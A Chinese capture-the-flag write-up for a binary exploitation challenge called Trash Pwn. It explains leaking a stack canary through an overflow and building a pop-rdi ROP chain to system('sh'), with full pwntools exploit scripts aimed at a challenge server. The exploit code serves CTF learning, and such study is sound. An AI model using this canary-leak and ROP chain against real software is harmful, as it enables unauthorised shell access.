D0g3_Trash_Pwn_Writeup
Trash Pwn
1 首先使用checksec查看有什么保护

可以发现,有canary保护(Stack),堆栈不可执行(NX),地址随机化没有开启(PIE)
2 使用IDA打开看看

main函数里没有什么漏洞,注意调试时把alarm函数nop掉(计时函数)
进入Who函数

读取的s是main函数中的一个储存字符窜的数组,然后再打印字符串后面的一些东西(这里可以溢出canary)
只要控制字符的个数,就可以溢出canary,补充一个知识: canary一般的最低位的字节为0,所以溢出时64位有7个可用字节,32位的为3个可用字节.
真正的canary就需要加上\x00,才能是真正的canary.
这里就可以写获取canary的exp:
f
rom pwn import *
elf = ELF("./Trash_Pwn")
#context.log_level = 'debug'
sh = elf.process()
#sh = remote("106.54.93.158",1234)
Num = 8 * 9 + 0 #通过计算的偏移,72个字符+ \n (回车\x0a)
sh.recvuntil("Hi you guys! What's your name?")
payload_1 = 'D' * Num
sh.sendline(payload_1)
print sh.recvline(keepends = True)
print sh.recvuntil("D\n")
canary = u64('\x00' + sh.recvline()[0:7]) #在打印时即可获取7个有用字符,在加上一个\x00在最低位就得到canary
print 'canary:'
print hex(canary)
好了,我们就可以通过输入名字时获取canary,查看第二个函数

buf 可以输入的长度为0x100,第二次输入就可以用基本的栈溢出了
现在我们就可修改堆栈里存储的ret值,实现控制EIP.
我们看一下字符窜表

进入调用函数:

这里就要考验观察能力了,平时做的时候都是/bin/sh,现在来个打印sh,这里我们只需修改传参的时候修改位sh就行,记录一下cmd的地址
可是传餐不像32位机器使用push传参,使用的是rdi寄存器传参,若程序中存在pop rdi + ret指令就再好不过了.
使用python 中的pwntools库查看一下pop rid 和 ret的硬编码'

硬编码位 5f c3 再使用hexeditor搜索5f c3:



发现存在,使用edb或gdb在动态调试中搜索当前的地址: 地址为:0x40147E
也可以使用指令:ROPgadget --binary Trash_Pwn --only "pop | ret" 搜索获取地址
利用思路:先是跳转到pop rdi指令的地方修改rdi的值(改为指向echo sh中的sh地址), 然后ret到system函数即可
以下是exp:
from pwn import *
elf = ELF("./Trash_Pwn")
#context.log_level = 'debug'
sh = elf.process()
sh = remote("106.54.93.158",1234) Num = 8 * 9 + 0
sh.recvuntil("Hi you guys! What's your name?") payload_1 = 'D' * Num
sh.sendline(payload_1)
print sh.recvline(keepends = True)
print sh.recvuntil("D\n")
canary = u64('\x00' + sh.recvline()[0:7]) print 'canary:'
print hex(canary) sh.recvuntil("Help me to clean this trash!\n")
sys_addr = 0x40130B
pop_rdi_addr = 0x40147E
str_sh_addr = 0x404085 payload_2 = 'D' * ( 64 + Num) + p64(canary) + p64(0xdeedbeef) + p64(pop_rdi_addr) + p64(str_sh_addr) + p64(sys_addr)
#gdb.attach(sh)
sh.sendline(payload_2) sh.interactive()

拿到flag
总结:
canary的最低位字节位0,控制字符个数,溢出canary
使用pop rdi修改rdi的值,从而修改64位system的传参
2019-12-14
20:04:16
D0g3_Trash_Pwn_Writeup的更多相关文章
随机推荐
- C# 防火墙操作之特定端口
针对将特定端口加入到windows系统的防火墙中,使其允许或禁止通过防火墙.其大概思路是: /// <summary> /// 添加防火墙例外端口 /// </summary> ...
- leetcode 695 Max Area of Island 岛的最大面积
这个题使用深度优先搜索就可以直接遍历 DFS递归方法: class Solution { public: vector<vector<,},{,-},{,},{,}}; int maxAr ...
- windows10下基于docker的bvlc/caffe环境搭建与使用
docker 安装参见docker官网,当cmd出现以下图像时安装正确; 然后进行bvlc/caffe环境创建,有两种,一种是直接pull github的bvlc,一种是本地创建image,直接使用g ...
- AWK之随心所欲-基础篇
一.简介 awk 是一个处理文本的编程语言工具,能用简短的程序处理标准输入或文件.数据排序.计算以及 生成报表等等. 在 Linux 系统下默认 awk 是 gawk,它是 awk 的 GNU 版本. ...
- Delphi 遍历类中的属性
http://blog.csdn.net/easyboot/article/details/8004954 Delphi 遍历类中的属性 标签: delphistringbuttonclassform ...
- Haddop的数据计算部分原理
import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.FSDataInputStream; import o ...
- git_02_git常用操作命令
前言 Git是一个开源的分布式版本控制系统,可以有效.高速地处理从小到大的项目版本管理.编写自动化测试脚本的过程中,经常要用到git命令,但总是记不住,每次都要百度有些麻烦.于是为了方便使用,在这总结 ...
- dom元素的自上而下自动滚动
dom元素的自上而下自动滚动 <!doctype html> <html lang="en"> <head> <meta charset= ...
- C++学习笔记(六)--结构体
1.一种自定义的类型--结构体定义: struct 结构体名称 { //成员表列也称作域 还可以包括函数,即函数成员,不过一般结构体类型中不包含,而是放在类中. 类型名 成员名; };这种结构体类型类 ...
- Python函数装饰器原理与用法详解《摘》
本文实例讲述了Python函数装饰器原理与用法.分享给大家供大家参考,具体如下: 装饰器本质上是一个函数,该函数用来处理其他函数,它可以让其他函数在不需要修改代码的前提下增加额外的功能,装饰器的返回值 ...